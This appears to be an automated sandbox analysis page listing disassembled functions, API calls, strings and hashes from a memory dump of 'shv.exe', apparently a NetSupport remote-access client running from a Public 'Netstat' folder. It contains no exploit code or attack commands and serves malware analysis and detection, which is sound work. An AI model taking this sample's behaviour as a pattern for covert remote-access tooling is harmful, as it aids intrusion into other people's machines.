API String ID: 2164999147-0
Opcode ID: dc1bb6903313550a2b9cb297aaffe469805179dbc7a0f2b8b801d5069d2dddec
Instruction ID: 4e1141ea8c13dac032d09b9661698debac55257390806c8b258f6652198fa82a
Opcode Fuzzy Hash: dc1bb6903313550a2b9cb297aaffe469805179dbc7a0f2b8b801d5069d2dddec
Instruction Fuzzy Hash: 2611C060C083C85AEF315F6088887EABFA5BF023A0F240048EDD6961CAD25648C7F7B5

Function 110306E7 Relevance: 6.0, APIs: 4, Instructions: 36synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000001F4), ref: 110306FC
CloseHandle.KERNEL32(?), ref: 11030709
FreeLibrary.KERNEL32(?), ref: 11030714
CloseHandle.KERNEL32(00000000), ref: 1103071B

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: CloseHandle$FreeLibraryObjectSingleWait
String ID:
API String ID: 1314093303-0
Opcode ID: 7d2e314c4a79abf06013014507abe82da34b4e69185c6a4a9ad4d68e1235ff59
Instruction ID: 8e76f7fb4e107f93cb89770177b2081f40004907d07b5dfd0c3c9c847909df3d
Opcode Fuzzy Hash: 7d2e314c4a79abf06013014507abe82da34b4e69185c6a4a9ad4d68e1235ff59
Instruction Fuzzy Hash: A7F08135E1425ADFE714DF60D889BADF774FB88319F0002A9D82A52180DF355940CB50

Function 11143C20 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(1102947F,?,11143E73,?), ref: 11143C2C
GetModuleFileNameA.KERNEL32(00000000,C:\Users\Public\Netstat\shv.exe,00000104,?,11143E73,?), ref: 11143C49

Strings

C:\Users\Public\Netstat\shv.exe, xrefs: 11143C34, 11143C42

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: CurrentFileModuleNameProcess
String ID: C:\Users\Public\Netstat\shv.exe
API String ID: 2251294070-727063226
Opcode ID: 723324e2a123dfbea80ddcbfb8a880b064ecb9608f963ee43b1e571dd00f4a9e
Instruction ID: b9aa28b4973dc8f7500fb142756b1fa860f28402029a3e5f5efe4e67c4e883a6
Opcode Fuzzy Hash: 723324e2a123dfbea80ddcbfb8a880b064ecb9608f963ee43b1e571dd00f4a9e
Instruction Fuzzy Hash: F811E7747282235BE7149F76C994719F7A5AB40B5DF20403EE819C76C4DB71F845C744

Function 11014FD0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(\\.\NSWFPDrv,80000000,00000000,00000000,00000003,40000000,00000000,00000001,1102EFB6,MiniDumpType,000000FF,00000000,00000000,?,?,View), ref: 11014FE7
CloseHandle.KERNEL32(00000000,?,?,View,Client,Bridge), ref: 11014FF8

Strings

\\.\NSWFPDrv, xrefs: 11014FE2

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: CloseCreateFileHandle
String ID: \\.\NSWFPDrv
API String ID: 3498533004-85019792
Opcode ID: f0badf7843dd101c9c7a596aad23f33c11cadc83e0c29f65da520d4fe63b43e1
Instruction ID: 0b573536b28af4079515d3142ca801f5deca53cbeb6a996f0a1660ae0aa1d84a
Opcode Fuzzy Hash: f0badf7843dd101c9c7a596aad23f33c11cadc83e0c29f65da520d4fe63b43e1
Instruction Fuzzy Hash: A9D0C971A051387AF23416B66C4CFC7AD09DF06BB5F210264B53DE11D886104C41C2F1

Function 1115BDE0 Relevance: 4.7, APIs: 3, Instructions: 158COMMON

Download Yara Rule

APIs

_calloc.LIBCMT ref: 1115BE03

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: _calloc
String ID:
API String ID: 1679841372-0
Opcode ID: 9cedd041eecb3df7698fbc33d80b44fc007d69f78d2f5524ab9bd2bf2492814b
Instruction ID: 0024421513bb2e1abb717dbf2ce3cdefbb73aa1ee3cdb3a5feae03928f974db8
Opcode Fuzzy Hash: 9cedd041eecb3df7698fbc33d80b44fc007d69f78d2f5524ab9bd2bf2492814b
Instruction Fuzzy Hash: 8C519E7560020AAFDB50CF68CC81FAAB7A6FF8A704F148459F929DB280D771E901CF95

Function 11111430 Relevance: 4.5, APIs: 3, Instructions: 49COMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 1111145A
__wsplitpath.LIBCMT ref: 11111475

Part of subcall function 11169044: __splitpath_helper.LIBCMT ref: 11169086

GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 111114A9

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: DirectoryInformationSystemVolume__splitpath_helper__wsplitpath
String ID:
API String ID: 1847508633-0
Opcode ID: 7498e584b69856d4904a5e87c0faea6464729445070a8fc0c411536d822b12a4
Instruction ID: 71a9510f599fa1c136cb45ff21797ad5c5790827a759e4d2b52c0b71367846c8
Opcode Fuzzy Hash: 7498e584b69856d4904a5e87c0faea6464729445070a8fc0c411536d822b12a4
Instruction Fuzzy Hash: 34116175A4021DABEB14DF94CD42FE9F378AB48B04F404199E7246B1C0E7B12A48CB65

Function 1109E9E0 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00020008,00000000,?,?,110F7D14,00000001,111417B8,_debug,TraceCopyData,00000000,00000000,?,?,00000000,00000000), ref: 1109EA01
OpenProcessToken.ADVAPI32(00000000,?,?,110F7D14,00000001,111417B8,_debug,TraceCopyData,00000000,00000000,?,?,00000000,00000000), ref: 1109EA08

Part of subcall function 1109E910: GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),00000000,00000000,?,1102FCB2,?,00000000), ref: 1109E948
Part of subcall function 1109E910: GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),?,00000001,00000001), ref: 1109E964
Part of subcall function 1109E910: AllocateAndInitializeSid.ADVAPI32(?,00000001,00000012,00B5F810,00B5F810,00B5F810,00B5F810,00B5F810,00B5F810,00B5F810,111EEB64,?,00000001,00000001), ref: 1109E990
Part of subcall function 1109E910: EqualSid.ADVAPI32(?,00B5F810,?,00000001,00000001), ref: 1109E9A3

CloseHandle.KERNEL32(00000000,00000000,?,?,00000000,00000000), ref: 1109EA27

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: Token$InformationProcess$AllocateCloseCurrentEqualHandleInitializeOpen
String ID:
API String ID: 2256153495-0
Opcode ID: 3278d9adbe4d3509b3b3548b9dad78e2718189f4cc0d765404142b0664a012dd
Instruction ID: 36b54363b319bb335bc5da0d0e9bdd0405b18079b131e91390d3ecc07929186c
Opcode Fuzzy Hash: 3278d9adbe4d3509b3b3548b9dad78e2718189f4cc0d765404142b0664a012dd
Instruction Fuzzy Hash: DCF05E78A15328EFD709CFF5D88482EB7A9AF08208700447DF629D3205E631EE009F50

Function 1110F720 Relevance: 3.8, APIs: 3, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(111F0908,1B492F88,?,?,?,?,-00000001,11182078,000000FF,?,1110F7F8,00000001,?,11169683,?), ref: 1110F754
EnterCriticalSection.KERNEL32(111F0908,1B492F88,?,?,?,?,-00000001,11182078,000000FF,?,1110F7F8,00000001,?,11169683,?), ref: 1110F770
LeaveCriticalSection.KERNEL32(111F0908,?,?,?,?,-00000001,11182078,000000FF,?,1110F7F8,00000001,?,11169683,?), ref: 1110F7B8

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterInitializeLeave
String ID:
API String ID: 3991485460-0
Opcode ID: de9cc3b242b9749762f72f1a9abe3d064888d8cc99300df6bb387b99347c91a8
Instruction ID: 724175da6b3b5eb63f60f43096b8b9410b0df93e13cce3f4766159a849acac97
Opcode Fuzzy Hash: de9cc3b242b9749762f72f1a9abe3d064888d8cc99300df6bb387b99347c91a8
Instruction Fuzzy Hash: 3D11C675A0061AAFE700CF65CD85B5BF7A9FB88714F010129E829E3340F7359808CB92

Function 11068950 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 96libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,00000000), ref: 11068A12

Strings

??CTL32.DLL, xrefs: 110689D3

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: ??CTL32.DLL
API String ID: 1029625771-2984404022
Opcode ID: f114da26ba1a202df3ee97640f196ffb6169a957819133968d89773a25347f90
Instruction ID: 38d720fc7c26638894156a2f8924bac31edb6b50614c34829f37a9a02c5b1e22
Opcode Fuzzy Hash: f114da26ba1a202df3ee97640f196ffb6169a957819133968d89773a25347f90
Instruction Fuzzy Hash: 5831F5B2A04781DFE711CF59DC40B5AF7E8FB45724F0482AAE92897380E735A900CB92

Function 11026B40 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetDriveTypeA.KERNEL32(?), ref: 11026B6D

Strings

?:\, xrefs: 11026B62

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: DriveType
String ID: ?:\
API String ID: 338552980-2533537817
Opcode ID: b7a90a31e7e06615914d848c67eda86d39421f745c303f5cb5263aa0826e519a
Instruction ID: c0198090b602517e4922a9d0df48f1c050a77905515f879100581957a4b6d58d
Opcode Fuzzy Hash: b7a90a31e7e06615914d848c67eda86d39421f745c303f5cb5263aa0826e519a
Instruction Fuzzy Hash: 64F09065C083DA2AEB23DE608844596BFE84B463A8F5488D9DCE887541D165E1C58791

Function 110ED1A0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 32registryCOMMON

Download Yara Rule

APIs

Part of subcall function 110ED160: RegCloseKey.KERNEL32(?,?,?,110ED1AD,?,00000000,00000001,?,1103053F,80000002,SOFTWARE\Policies\NetSupport\Client\standard,00020019,00000056,?,00000050), ref: 110ED16D

RegOpenKeyExA.KERNEL32(?,00000056,00000000,00020019,?,?,00000000,00000001,?,1103053F,80000002,SOFTWARE\Policies\NetSupport\Client\standard,00020019,00000056,?,00000050), ref: 110ED1BC

Part of subcall function 110ECF40: wvsprintfA.USER32(?,00020019,?), ref: 110ECF6B

Strings

Error %d Opening regkey %s, xrefs: 110ED1CA

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: CloseOpenwvsprintf
String ID: Error %d Opening regkey %s
API String ID: 1772833024-3994271378
Opcode ID: 503dc904c3fe8a3076b33c474287afaa84f0668cd560d7128fb7a99791884548
Instruction ID: 33cf1931661e2960d377c619dd89904b97ea319b13ae6f8f8dcb9591a9c6775e
Opcode Fuzzy Hash: 503dc904c3fe8a3076b33c474287afaa84f0668cd560d7128fb7a99791884548
Instruction Fuzzy Hash: 60E0927A6012187FD210961B9C89F9BBB2DDB856A4F000069FD1487201C972EC1082B0

Function 110ED160 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 25registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32(?,?,?,110ED1AD,?,00000000,00000001,?,1103053F,80000002,SOFTWARE\Policies\NetSupport\Client\standard,00020019,00000056,?,00000050), ref: 110ED16D

Part of subcall function 110ECF40: wvsprintfA.USER32(?,00020019,?), ref: 110ECF6B

Strings

Error %d closing regkey %x, xrefs: 110ED17D

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: Closewvsprintf
String ID: Error %d closing regkey %x
API String ID: 843752472-892920262
Opcode ID: c03f117d653720bd7e371fb7cf4e9287afa325923508867b0082396cad6e8e67
Instruction ID: 72b2cf3cdd4b8fd577e25b07e2838f9a8e734d144b1f96517ba84771a8eadcbb
Opcode Fuzzy Hash: c03f117d653720bd7e371fb7cf4e9287afa325923508867b0082396cad6e8e67
Instruction Fuzzy Hash: 4EE08679A022126BD3289A1EAC18F5BB6E8DFC4300F1604ADF850C3240DA70D8018664

Function 111463D0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(NSMTRACE,?,1102DE54,11026580,02B4B870,?,?,?,00000100,?,?,00000009), ref: 111463E9

Part of subcall function 111456A0: GetModuleHandleA.KERNEL32(NSMTRACE,11194AB8), ref: 111456BA

Strings

NSMTRACE, xrefs: 111463E4

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: HandleLibraryLoadModule
String ID: NSMTRACE
API String ID: 4133054770-4175627554
Opcode ID: e82bf018f903e4ea25f627aae3f92f4affe26e4f9d0fd19bd58a96316eee6a50
Instruction ID: cf49eb18fee32400038a48a9d82a087192b912de878353ac6c822cd252c7dc11
